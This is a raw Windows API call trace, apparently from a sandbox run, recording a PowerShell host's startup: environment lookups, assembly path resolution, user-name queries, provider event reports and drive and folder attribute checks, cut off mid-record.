[0052.710] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.710] GetLastError () returned 0xcb [0052.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.710] GetLastError () returned 0xcb [0052.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.710] GetLastError () returned 0xcb [0052.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.710] GetLastError () returned 0xcb [0052.710] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2d2578, nSize=0x27e564 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0x27e564) returned 0x1 [0052.711] GetLastError () returned 0xcb [0052.711] GetUserNameW (in: lpBuffer=0x2d1db8, pcbBuffer=0x27e56c | out: lpBuffer="kFT6uTQW", pcbBuffer=0x27e56c) returned 1 [0052.711] ReportEventW (hEventLog=0x4de0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3458d54*="Environment", lpRawData=0x3458c10) returned 1 [0052.711] GetLastError () returned 0x0 [0052.712] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.712] GetLastError () returned 0xcb [0052.712] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0052.712] GetLastError () returned 0xcb [0052.712] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="\\Users\\kFT6uTQW") returned 0xf [0052.712] GetLastError () returned 0xcb [0052.712] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0x27e094, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11 [0052.712] GetLastError () returned 0xcb [0052.712] SetErrorMode (uMode=0x1) returned 0x1 [0052.712] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW" (normalized: "c:\\users\\kft6utqw"), fInfoLevelId=0x0, lpFileInformation=0x27e514 | out: lpFileInformation=0x27e514*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7f4ccf0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa826c9d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa826c9d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.713] GetLastError () returned 0xcb [0052.713] SetErrorMode (uMode=0x1) returned 0x1 [0052.729] GetLogicalDrives () returned 0x4 [0052.729] GetLastError () returned 0xcb [0052.733] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27dfb8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0052.733] GetLastError () returned 0xcb [0052.734] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0052.734] GetLastError () returned 0xcb [0052.734] SetErrorMode (uMode=0x1) returned 0x1 [0052.735] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2d1eb8, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x27e4e0, lpMaximumComponentLength=0x27e4dc, lpFileSystemFlags=0x27e4d8, lpFileSystemNameBuffer=0x2d1db8, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x27e4e0*=0x78b0a7d7, lpMaximumComponentLength=0x27e4dc*=0xff, lpFileSystemFlags=0x27e4d8*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0052.735] GetLastError () returned 0xcb [0052.735] SetErrorMode (uMode=0x1) returned 0x1 [0052.735] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0052.735] GetLastError () returned 0xcb [0052.735] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27e040, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0052.735] GetLastError () returned 0xcb [0052.736] SetErrorMode (uMode=0x1) returned 0x1 [0052.736] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3459f44 | out: lpFileInformation=0x3459f44*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.736] GetLastError () returned 0xcb [0052.736] SetErrorMode (uMode=0x1) returned 0x1 [0052.736] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27e040, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0052.736] GetLastError () returned 0xcb [0052.736] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27dfcc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0052.736] GetLastError () returned 0xcb [0052.736] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0052.736] GetLastError () returned 0xcb [0052.737] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27df88, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0052.737] GetLastError () returned 0xcb [0052.737] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0052.737] GetLastError () returned 0xcb [0052.737] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27df90, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0052.737] GetLastError () returned 0xcb [0052.737] SetErrorMode (uMode=0x1) returned 0x1 [0052.737] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x345ab9c | out: lpFileInformation=0x345ab9c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.737] GetLastError () returned 0xcb [0052.737] SetErrorMode (uMode=0x1) returned 0x1 [0052.737] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27df98, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0052.737] GetLastError () returned 0xcb [0052.737] SetErrorMode (uMode=0x1) returned 0x1 [0052.737] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x345acec | out: lpFileInformation=0x345acec*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.737] GetLastError () returned 0xcb [0052.737] SetErrorMode (uMode=0x1) returned 0x1 [0052.738] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27dfdc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0052.738] GetLastError () returned 0xcb [0052.738] SetErrorMode (uMode=0x1) returned 0x1 [0052.738] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x345ae8c | out: lpFileInformation=0x345ae8c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.738] GetLastError () returned 0xcb [0052.738] SetErrorMode (uMode=0x1) returned 0x1 [0052.738] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2d2578, nSize=0x27e564 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0x27e564) returned 0x1 [0052.738] GetLastError () returned 0xcb [0052.738] GetUserNameW (in: lpBuffer=0x2d1db8, pcbBuffer=0x27e56c | out: lpBuffer="kFT6uTQW", pcbBuffer=0x27e56c) returned 1 [0052.739] ReportEventW (hEventLog=0x4de0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x345dbd0*="FileSystem", lpRawData=0x345da8c) returned 1 [0052.739] GetLastError () returned 0x0 [0052.740] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.740] GetLastError () returned 0xcb [0052.740] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.740] GetLastError () returned 0xcb [0052.740] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.740] GetLastError () returned 0xcb [0052.740] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.740] GetLastError () returned 0xcb [0052.740] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2d2578, nSize=0x27e564 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0x27e564) returned 0x1 [0052.740] GetLastError () returned 0xcb [0052.740] GetUserNameW (in: lpBuffer=0x2d1db8, pcbBuffer=0x27e56c | out: lpBuffer="kFT6uTQW", pcbBuffer=0x27e56c) returned 1 [0052.741] ReportEventW (hEventLog=0x4de0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3461c7c*="Function", lpRawData=0x3461b38) returned 1 [0052.741] GetLastError () returned 0x0 [0052.743] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.743] GetLastError () returned 0xcb [0052.746] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df78, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.746] GetLastError () returned 0xcb [0052.746] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.746] GetLastError () returned 0xcb [0052.746] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.746] GetLastError () returned 0xcb [0052.747] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.747] GetLastError () returned 0xcb [0052.770] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df78, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.770] GetLastError () returned 0xcb [0052.770] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.770] GetLastError () returned 0xcb [0052.770] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.770] GetLastError () returned 0xcb [0052.771] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2d2578, nSize=0x27e564 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0x27e564) returned 0x1 [0052.772] GetLastError () returned 0xcb [0052.772] GetUserNameW (in: lpBuffer=0x2d1db8, pcbBuffer=0x27e56c | out: lpBuffer="kFT6uTQW", pcbBuffer=0x27e56c) returned 1 [0052.772] ReportEventW (hEventLog=0x4de0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x347acf4*="Registry", lpRawData=0x347abb0) returned 1 [0052.772] GetLastError () returned 0x0 [0052.773] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.773] GetLastError () returned 0x0 [0052.773] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.773] GetLastError () returned 0x0 [0052.773] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.773] GetLastError () returned 0x0 [0052.774] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2d2578, nSize=0x27e564 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0x27e564) returned 0x1 [0052.774] GetLastError () returned 0x0 [0052.774] GetUserNameW (in: lpBuffer=0x2d1db8, pcbBuffer=0x27e56c | out: lpBuffer="kFT6uTQW", pcbBuffer=0x27e56c) returned 1 [0052.774] ReportEventW (hEventLog=0x4de0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x347ea98*="Variable", lpRawData=0x347e954) returned 1 [0052.775] GetLastError () returned 0x0 [0052.775] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.776] GetLastError () returned 0xcb [0052.777] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.777] GetLastError () returned 0xcb [0052.778] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27df64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0052.778] GetLastError () returned 0xcb [0052.778] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27df14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0052.778] GetLastError () returned 0xcb [0052.778] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27df14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0052.778] GetLastError () returned 0xcb [0052.778] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27df14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0052.778] GetLastError () returned 0xcb [0052.818] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2d2578, nSize=0x27e564 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0x27e564) returned 0x1 [0052.818] GetLastError () returned 0x3 [0052.818] GetUserNameW (in: lpBuffer=0x2d1db8, pcbBuffer=0x27e56c | out: lpBuffer="kFT6uTQW", pcbBuffer=0x27e56c) returned 1 [0052.819] ReportEventW (hEventLog=0x4de0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x348c820*="Certificate", lpRawData=0x348c6dc) returned 1 [0052.819] GetLastError () returned 0x0 [0052.827] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.827] GetLastError () returned 0xcb [0052.828] GetLogicalDrives () returned 0x4 [0052.828] GetLastError () returned 0xcb [0052.828] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27e0dc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0052.828] GetLastError () returned 0xcb [0052.829] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0052.829] GetLastError () returned 0xcb [0052.832] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x2d1db8 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19 [0052.832] GetLastError () returned 0xcb [0052.833] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.833] GetLastError () returned 0xcb [0052.833] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.833] GetLastError () returned 0xcb [0052.852] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.853] GetLastError () returned 0xcb [0052.853] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.853] GetLastError () returned 0xcb [0052.854] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x27df24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0052.854] GetLastError () returned 0xcb [0052.854] SetErrorMode (uMode=0x1) returned 0x1 [0052.854] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x3493e7c | out: lpFileInformation=0x3493e7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xccf7a040, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xccf7a040, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.854] GetLastError () returned 0xcb [0052.854] SetErrorMode (uMode=0x1) returned 0x1 [0052.854] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x27df2c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0052.854] GetLastError () returned 0xcb [0052.854] SetErrorMode (uMode=0x1) returned 0x1 [0052.854] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x3494018 | out: lpFileInformation=0x3494018*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xccf7a040, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xccf7a040, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.854] GetLastError () returned 0xcb [0052.854] SetErrorMode (uMode=0x1) returned 0x1 [0052.858] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.858] GetLastError () returned 0xcb [0052.866] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x27e074, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0052.866] GetLastError () returned 0xcb [0052.866] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27dff0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0052.866] GetLastError () returned 0xcb [0052.866] SetErrorMode (uMode=0x1) returned 0x1 [0052.866] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x27e470 | out: lpFileInformation=0x27e470*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.867] GetLastError () returned 0xcb [0052.867] SetErrorMode (uMode=0x1) returned 0x1 [0052.867] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27dff0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0052.867] GetLastError () returned 0xcb [0052.867] SetErrorMode (uMode=0x1) returned 0x1 [0052.867] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x27e470 | out: lpFileInformation=0x27e470*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.867] GetLastError () returned 0xcb [0052.867] SetErrorMode (uMode=0x1) returned 0x1 [0052.867] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27e004, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0052.867] GetLastError () returned 0xcb [0052.867] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27dfa0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0052.867] GetLastError () returned 0xcb [0052.867] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x27dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0052.867] GetLastError () returned 0xcb [0052.867] SetErrorMode (uMode=0x1) returned 0x1 [0052.867] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x27e470 | out: lpFileInformation=0x27e470*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7f4ccf0, ftLastAccessTime.dwHighDateTime=0x1d2e631, 